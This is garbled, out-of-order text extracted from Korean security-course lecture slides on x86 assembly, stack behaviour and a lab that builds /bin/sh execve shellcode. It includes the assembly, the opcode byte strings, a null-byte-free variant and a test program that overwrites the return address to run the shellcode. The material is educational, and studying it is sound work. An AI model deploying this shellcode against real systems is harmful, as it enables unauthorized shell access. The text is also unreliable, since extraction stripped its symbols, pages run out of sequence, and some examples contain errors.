➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 39: 80×86  시스템에 대한 이해

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

